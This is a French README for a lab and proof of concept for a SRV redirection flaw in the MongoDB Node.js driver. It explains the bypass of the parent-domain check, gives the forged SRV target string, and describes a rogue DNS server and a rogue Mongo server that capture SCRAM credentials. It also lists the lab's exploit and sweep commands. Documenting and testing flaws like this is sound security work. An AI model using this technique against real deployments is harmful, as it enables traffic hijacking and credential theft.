
Laboratoire différentiel conteneurisé et PoC pour CVE-2026-126837, démontrant la redirection de cible SRV dans le driver MongoDB Node.js et la capture d'identifiants SCRAM sur 7.7.0 vs 7.8.0.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-126837 |
| Composant | Driver MongoDB Node.js (mongodb, mongodb/node-mongodb-native) — Découverte initiale de la liste de seed DNS |
| Affecté | 3.3.3 .. < 7.8.0 (semver) |
| Corrigé dans | 7.8.0 (commit 19e2d3b83, NODE-7830) |
| CWE | CWE-180 — Valider avant de canonicaliser |
| CVSS | 4.0 — 9.1 CRITIQUE (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) ; 3.1 — 7.4 ÉLEVÉ |
| Impact | Redirection du trafic de base de données vers un hôte attaquant : interception des identifiants (preuve SCRAM cassable hors ligne), divulgation involontaire des données applicatives, résultats de requêtes altérés |
| Vecteur | Réponse DNS SRV forgée ou influencée par un attaquant pour une chaîne de connexion mongodb+srv:// |
| Déclencheur | Nom de cible SRV contenant #, ? ou / avant le suffixe du domaine parent |
| Crédit | Avis du fournisseur (aucun rapporteur nommé dans l'enregistrement CVE) |
Une faille de validation dans le garde-fou du domaine parent SRV du driver permet à une partie capable de forger ou de modifier
la réponse DNS SRV de rediriger un client mongodb+srv:// vers n'importe quel hôte de son choix. Le garde-fou
compare la cible SRV au domaine parent avec un simple endsWith sur une chaîne dont
la syntaxe n'a jamais été validée ; le driver réanalyse ensuite la même chaîne comme une URL, où #, ?
et / terminent le nom d'hôte prématurément. La connexion est établie vers l'hôte de l'attaquant avec
TLS activé contre la victime : le certificat est validé contre le nom redirigé, que
l'attaquant possède légitimement. Le client envoie ensuite son échange d'authentification SCRAM —
y compris une preuve client dérivée du mot de passe — à l'attaquant. Les applications utilisant des
URI mongodb:// simples ne sont pas affectées.
Le garde-fou vulnérable, src/utils.ts:1158 dans la v7.7.0 :
export function checkParentDomainMatch(address: string, srvHost: string): void {
// Remove trailing dot if exists on either the resolved address or the srv hostname
const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;
const allCharacterBeforeFirstDot = /^.*?\./;
// Remove all characters before first dot
const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
...
if (!addressDomain.endsWith(srvHostDomain)) {
throw new MongoAPIError('Server record does not share hostname with parent URI');
}
}
Le garde supprime un point final, retire tout jusqu'au premier ., et appelle
endsWith. Il n'effectue aucune validation syntaxique de la cible SRV. La chaîne validée
circule ensuite vers HostAddress.fromString() et est ré-analysée dans le constructeur HostAddress
(src/utils.ts:890) :
const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;
L'arithmétique qui échoue, pour l'hôte SRV cluster0.lab.mongodb.test (parent
.lab.mongodb.test) et la cible forgée evil.attacker.test#.lab.mongodb.test :
guard: "evil.attacker.test#.lab.mongodb.test"
remove everything before first dot -> tail ".lab.mongodb.test" retained
-> endsWith(".lab.mongodb.test") = TRUE -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
"#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
-> driver connects to evil.attacker.test
Le # ne bloque jamais la comparaison de suffixe car la garde compare la fin de la chaîne brute
(dont le # se situe avant le suffixe), tandis que le parseur d'URL WHATWG traite ce même # comme le
délimiteur de fragment et tronque le nom d'hôte.
Le correctif dans 7.8.0, src/utils.ts:1185-1216, canonicalise avant de valider :
const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;
export function dnsNameToASCII(name: string): string | null {
if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
return null;
}
const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
return ascii === '' ? null : ascii;
}
export function normalizeDnsName(name: string): string {
const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
const normalized = dnsNameToASCII(withoutTrailingDot);
if (normalized == null) {
throw new MongoAPIError('Invalid DNS host name');
}
return normalized;
}
Appliqué au point d'appel unique de SRV, src/connection_string.ts:128-130 :
const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);
Tout point de code interdit par WHATWG (#, ?, / ou autre) lève désormais MongoAPIError: Invalid DNS host name avant la garde, avant HostAddress.fromString, et avant l'ouverture de la moindre socket.
Une seule image de conteneur (cve-2026-126837:vuln) porte l'intégralité du différentiel :
lab/src/dnsd.py) sur 127.0.0.1:53 — le fichier
/etc/resolv.conf du conteneur pointe vers lui, de sorte que toute résolution de nom (y compris la
recherche SRV c-ares de Node) passe par un DNS contrôlé par l'attaquant. Il répond à la requête SRV
_mongodb._tcp.cluster0.lab.mongodb.test avec la cible choisie par l'attaquant et résout
evil.attacker.test vers 127.0.0.1 ;lab/src/evilserver.py) sur 127.0.0.1:27017 — point de terminaison TLS avec un
certificat émis par la CA du lab (substitut du certificat publiquement approuvé qu'un attaquant
détient pour son propre domaine), parlant suffisamment du protocole wire MongoDB (OP_QUERY ismaster,
OP_MSG hello/saslStart/saslContinue) pour achever la poignée de main SDAM et capturer
l'échange SCRAM-SHA-256 ;lab/src/service.js) — exécute chaque tentative de connexion avec un processus
enfant de la version du pilote sélectionnée (afin qu'une défaillance au niveau du pilote soit observée plutôt que
de faire tomber le service) et expose les observations de l'attaquant et du serveur DNS via
HTTP ;vuln = [email protected], fixed =
[email protected], plus v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4 pour la
matrice des plages affectées.Les côtés vulnérable et corrigé ne diffèrent que par la version du paquet du pilote : même image de base, même serveur DNS, même écouteur de l'attaquant, même service, même tentative de connexion.
./run-lab.sh build # build lab + poc images
./run-lab.sh up # create network cve126837lab, start lab, wait for health
./run-lab.sh all # build, up, every PoC mode, capture evidence/, down-state logs
Modes individuels :
./run-lab.sh poc check --driver vuln # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed # exit 0 = safe
./run-lab.sh poc exploit --driver vuln # full SCRAM credential capture
./run-lab.sh poc probe # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions # 3.x .. 7.x affected-range matrix
./run-lab.sh state # copy DNS/attacker logs into evidence/